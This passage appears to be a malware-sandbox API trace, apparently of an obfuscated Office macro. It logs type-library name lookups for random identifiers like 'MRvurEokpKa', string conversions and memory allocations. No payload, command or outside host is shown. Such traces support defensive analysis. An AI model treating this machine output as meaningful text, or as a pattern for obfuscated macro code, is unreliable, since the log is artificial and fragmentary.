pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.274] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.274] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.274] IUnknown:Release (This=0x7919520) returned 0x12 [0019.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b176, cbMultiByte=10, lpWideCharStr=0xd612b28, cchWideChar=22 | out: lpWideCharStr="mIvaiFWPLV") returned 10 [0019.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b18a, cbMultiByte=10, lpWideCharStr=0xd612cd2, cchWideChar=22 | out: lpWideCharStr="XLfSbqRuOV") returned 10 [0019.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b19e, cbMultiByte=10, lpWideCharStr=0xd612e7c, cchWideChar=22 | out: lpWideCharStr="UUYrmNAhWp") returned 10 [0019.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b1b2, cbMultiByte=10, lpWideCharStr=0xd613026, cchWideChar=22 | out: lpWideCharStr="JwCOIWRzQk") returned 10 [0019.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b1c6, cbMultiByte=10, lpWideCharStr=0xd6131d0, cchWideChar=22 | out: lpWideCharStr="ACjFAEjJKX") returned 10 [0019.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b1da, cbMultiByte=10, lpWideCharStr=0xd61337a, cchWideChar=22 | out: lpWideCharStr="lTUczSjEnR") returned 10 [0019.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b1ee, cbMultiByte=10, lpWideCharStr=0xd613524, cchWideChar=22 | out: lpWideCharStr="FptWLZIQKF") returned 10 [0019.275] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd620000 [0019.276] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MRvurEokpKa") returned 0x10b54c [0019.276] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="MRvurEokpKa" | out: _Dst="MRvurEokpKa") returned 0x0 [0019.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="MRvurEokpKa") returned 12 [0019.276] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.276] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="MRvurEokpKa", lHashVal=0x10b54c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.276] IUnknown:Release (This=0x7919520) returned 0x12 [0019.276] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.276] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="MRvurEokpKa", lHashVal=0x10b54c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.276] IUnknown:Release (This=0x7346470) returned 0xb [0019.276] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.276] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="MRvurEokpKa", lHashVal=0x10b54c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.276] IUnknown:Release (This=0x7345930) returned 0x7 [0019.276] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.276] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="MRvurEokpKa", lHashVal=0x10b54c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.276] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.276] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.276] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_MRvurEokpKa" | out: _Dst="_B_var_MRvurEokpKa") returned 0x0 [0019.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_MRvurEokpKa") returned 19 [0019.276] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.276] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_MRvurEokpKa", lHashVal=0x10972d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.276] IUnknown:Release (This=0x7919520) returned 0x12 [0019.276] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.276] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_MRvurEokpKa", lHashVal=0x10972d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.276] IUnknown:Release (This=0x7346470) returned 0xb [0019.277] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.277] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_MRvurEokpKa", lHashVal=0x10972d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.277] IUnknown:Release (This=0x7345930) returned 0x7 [0019.277] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.277] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_MRvurEokpKa", lHashVal=0x10972d, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.277] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.277] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.277] IUnknown:Release (This=0x7919520) returned 0x12 [0019.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b226, cbMultiByte=10, lpWideCharStr=0xd621e16, cchWideChar=22 | out: lpWideCharStr="HLpzZBrzUd") returned 10 [0019.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b23a, cbMultiByte=10, lpWideCharStr=0xd621fc0, cchWideChar=22 | out: lpWideCharStr="WzvhTIRSJz") returned 10 [0019.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b24e, cbMultiByte=10, lpWideCharStr=0xd62216a, cchWideChar=22 | out: lpWideCharStr="OGRkOulzjZ") returned 10 [0019.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b262, cbMultiByte=10, lpWideCharStr=0xd622314, cchWideChar=22 | out: lpWideCharStr="rOjMdpzSIJ") returned 10 [0019.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b276, cbMultiByte=10, lpWideCharStr=0xd6224be, cchWideChar=22 | out: lpWideCharStr="dwjituRKGX") returned 10 [0019.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b28a, cbMultiByte=10, lpWideCharStr=0xd622668, cchWideChar=22 | out: lpWideCharStr="vzUoYBuFkf") returned 10 [0019.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b29e, cbMultiByte=10, lpWideCharStr=0xd622812, cchWideChar=22 | out: lpWideCharStr="QsQulHTjDd") returned 10 [0019.278] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd630000 [0019.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jijUlmv") returned 0x103e8a [0019.279] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="jijUlmv" | out: _Dst="jijUlmv") returned 0x0 [0019.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="jijUlmv") returned 8 [0019.279] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.279] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="jijUlmv", lHashVal=0x103e8a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.279] IUnknown:Release (This=0x7919520) returned 0x12 [0019.279] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.279] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="jijUlmv", lHashVal=0x103e8a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.279] IUnknown:Release (This=0x7346470) returned 0xb [0019.279] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.279] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="jijUlmv", lHashVal=0x103e8a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.279] IUnknown:Release (This=0x7345930) returned 0x7 [0019.279] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.279] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="jijUlmv", lHashVal=0x103e8a, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.279] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.279] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.279] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_jijUlmv", lHashVal=0x10420e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.279] IUnknown:Release (This=0x7919520) returned 0x12 [0019.279] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.279] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_jijUlmv", lHashVal=0x10420e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.279] IUnknown:Release (This=0x7346470) returned 0xb [0019.279] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.279] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_jijUlmv", lHashVal=0x10420e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.279] IUnknown:Release (This=0x7345930) returned 0x7 [0019.279] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.279] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_jijUlmv", lHashVal=0x10420e, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.279] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.279] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.279] IUnknown:Release (This=0x7919520) returned 0x12 [0019.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b2d6, cbMultiByte=10, lpWideCharStr=0xd6310f6, cchWideChar=22 | out: lpWideCharStr="fGOkZvaJVK") returned 10 [0019.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b2ea, cbMultiByte=10, lpWideCharStr=0xd6312a0, cchWideChar=22 | out: lpWideCharStr="UlFkqqCOcw") returned 10 [0019.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b2fe, cbMultiByte=10, lpWideCharStr=0xd63144a, cchWideChar=22 | out: lpWideCharStr="ozKCzGMhhu") returned 10 [0019.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b312, cbMultiByte=10, lpWideCharStr=0xd6315f4, cchWideChar=22 | out: lpWideCharStr="FpUGBwJnGD") returned 10 [0019.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b326, cbMultiByte=10, lpWideCharStr=0xd63179e, cchWideChar=22 | out: lpWideCharStr="KUwNkzWmMj") returned 10 [0019.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b33a, cbMultiByte=10, lpWideCharStr=0xd631948, cchWideChar=22 | out: lpWideCharStr="wZCwEfwMlS") returned 10 [0019.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b34e, cbMultiByte=10, lpWideCharStr=0xd631af2, cchWideChar=22 | out: lpWideCharStr="jsbbFfQziu") returned 10 [0019.281] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vfLAmLTsK") returned 0x10a433 [0019.281] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="vfLAmLTsK" | out: _Dst="vfLAmLTsK") returned 0x0 [0019.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="vfLAmLTsK") returned 10 [0019.281] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.281] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="vfLAmLTsK", lHashVal=0x10a433, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.281] IUnknown:Release (This=0x7919520) returned 0x12 [0019.281] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.281] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="vfLAmLTsK", lHashVal=0x10a433, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.281] IUnknown:Release (This=0x7346470) returned 0xb [0019.281] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.281] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="vfLAmLTsK", lHashVal=0x10a433, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.281] IUnknown:Release (This=0x7345930) returned 0x7 [0019.281] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.281] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="vfLAmLTsK", lHashVal=0x10a433, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.281] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.281] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.281] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_vfLAmLTsK", lHashVal=0x10ad78, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.281] IUnknown:Release (This=0x7919520) returned 0x12 [0019.281] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.281] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_vfLAmLTsK", lHashVal=0x10ad78, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.281] IUnknown:Release (This=0x7346470) returned 0xb [0019.281] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.281] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_vfLAmLTsK", lHashVal=0x10ad78, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.281] IUnknown:Release (This=0x7345930) returned 0x7 [0019.281] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.281] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_vfLAmLTsK", lHashVal=0x10ad78, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.281] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.281] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.281] IUnknown:Release (This=0x7919520) returned 0x12 [0019.281] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd640000 [0019.283] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x79720e0 [0019.283] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tWPZjRnfZvd") returned 0x10b1e5 [0019.283] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="tWPZjRnfZvd" | out: _Dst="tWPZjRnfZvd") returned 0x0 [0019.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="tWPZjRnfZvd") returned 12 [0019.283] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.283] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="tWPZjRnfZvd", lHashVal=0x10b1e5, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.283] IUnknown:Release (This=0x7919520) returned 0x12 [0019.283] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.283] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="tWPZjRnfZvd", lHashVal=0x10b1e5, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.283] IUnknown:Release (This=0x7346470) returned 0xb [0019.283] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.283] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="tWPZjRnfZvd", lHashVal=0x10b1e5, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.283] IUnknown:Release (This=0x7345930) returned 0x7 [0019.283] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.283] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="tWPZjRnfZvd", lHashVal=0x10b1e5, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.283] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.283] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.283] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_tWPZjRnfZvd", lHashVal=0x1093c6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.283] IUnknown:Release (This=0x7919520) returned 0x12 [0019.283] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.283] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_tWPZjRnfZvd", lHashVal=0x1093c6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.283] IUnknown:Release (This=0x7346470) returned 0xb [0019.283] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.283] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_tWPZjRnfZvd", lHashVal=0x1093c6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.283] IUnknown:Release (This=0x7345930) returned 0x7 [0019.283] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.283] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_tWPZjRnfZvd", lHashVal=0x1093c6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.284] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.284] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.284] IUnknown:Release (This=0x7919520) returned 0x12 [0019.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b3b6, cbMultiByte=10, lpWideCharStr=0xd641106, cchWideChar=22 | out: lpWideCharStr="cbsLdrtsoc") returned 10 [0019.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b3ca, cbMultiByte=10, lpWideCharStr=0xd6412b0, cchWideChar=22 | out: lpWideCharStr="vshctkhozl") returned 10 [0019.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b3de, cbMultiByte=10, lpWideCharStr=0xd64145a, cchWideChar=22 | out: lpWideCharStr="aiGdMwpVUI") returned 10 [0019.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b3f2, cbMultiByte=10, lpWideCharStr=0xd641604, cchWideChar=22 | out: lpWideCharStr="iLOPDoAFRt") returned 10 [0019.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b406, cbMultiByte=10, lpWideCharStr=0xd6417ae, cchWideChar=22 | out: lpWideCharStr="ObubiSRiGj") returned 10 [0019.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b41a, cbMultiByte=10, lpWideCharStr=0xd641958, cchWideChar=22 | out: lpWideCharStr="iilFutUPzj") returned 10 [0019.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b42e, cbMultiByte=10, lpWideCharStr=0xd641b02, cchWideChar=22 | out: lpWideCharStr="CYYjwkdRYE") returned 10 [0019.285] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DKjjzmWVu") returned 0x109670 [0019.285] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="DKjjzmWVu" | out: _Dst="DKjjzmWVu") returned 0x0 [0019.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="DKjjzmWVu") returned 10 [0019.285] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.285] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="DKjjzmWVu", lHashVal=0x109670, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.285] IUnknown:Release (This=0x7919520) returned 0x12 [0019.285] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.285] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="DKjjzmWVu", lHashVal=0x109670, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.285] IUnknown:Release (This=0x7346470) returned 0xb [0019.285] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.285] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="DKjjzmWVu", lHashVal=0x109670, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.285] IUnknown:Release (This=0x7345930) returned 0x7 [0019.285] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.285] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="DKjjzmWVu", lHashVal=0x109670, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.285] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.285] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.285] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_DKjjzmWVu", lHashVal=0x109fb5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.285] IUnknown:Release (This=0x7919520) returned 0x12 [0019.285] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.285] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_DKjjzmWVu", lHashVal=0x109fb5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.285] IUnknown:Release (This=0x7346470) returned 0xb [0019.285] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.285] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_DKjjzmWVu", lHashVal=0x109fb5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.285] IUnknown:Release (This=0x7345930) returned 0x7 [0019.285] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.285] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_DKjjzmWVu", lHashVal=0x109fb5, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.285] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.285] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.285] IUnknown:Release (This=0x7919520) returned 0x12 [0019.285] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd650000 [0019.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b466, cbMultiByte=10, lpWideCharStr=0xd6503c4, cchWideChar=22 | out: lpWideCharStr="kZVBzjmXBW") returned 10 [0019.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b47a, cbMultiByte=10, lpWideCharStr=0xd65056e, cchWideChar=22 | out: lpWideCharStr="AzCoURsUIE") returned 10 [0019.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b48e, cbMultiByte=10, lpWideCharStr=0xd650718, cchWideChar=22 | out: lpWideCharStr="iXDRzhQdIk") returned 10 [0019.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b4a2, cbMultiByte=10, lpWideCharStr=0xd6508c2, cchWideChar=22 | out: lpWideCharStr="bzuliJXadY") returned 10 [0019.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b4b6, cbMultiByte=10, lpWideCharStr=0xd650a6c, cchWideChar=22 | out: lpWideCharStr="stzMujMUFW") returned 10 [0019.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b4ca, cbMultiByte=10, lpWideCharStr=0xd650c16, cchWideChar=22 | out: lpWideCharStr="cjnNRMWDBP") returned 10 [0019.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6b4de, cbMultiByte=10, lpWideCharStr=0xd650dc0, cchWideChar=22 | out: lpWideCharStr="PIORuACRFK") returned 10 [0019.287] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QidOpNcLt") returned 0x108788 [0019.288] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="QidOpNcLt" | out: _Dst="QidOpNcLt") returned 0x0 [0019.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="QidOpNcLt") returned 10 [0019.288] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.288] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="QidOpNcLt", lHashVal=0x108788, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.288] IUnknown:Release (This=0x7919520) returned 0x12 [0019.288] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.288] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="QidOpNcLt", lHashVal=0x108788, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.288] IUnknown:Release (This=0x7346470) returned 0xb [0019.288] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.288] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="QidOpNcLt", lHashVal=0x108788, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.288] IUnknown:Release (This=0x7345930) returned 0x7 [0019.288] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.288] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="QidOpNcLt", lHashVal=0x108788, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.288] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.288] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.288] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_QidOpNcLt", 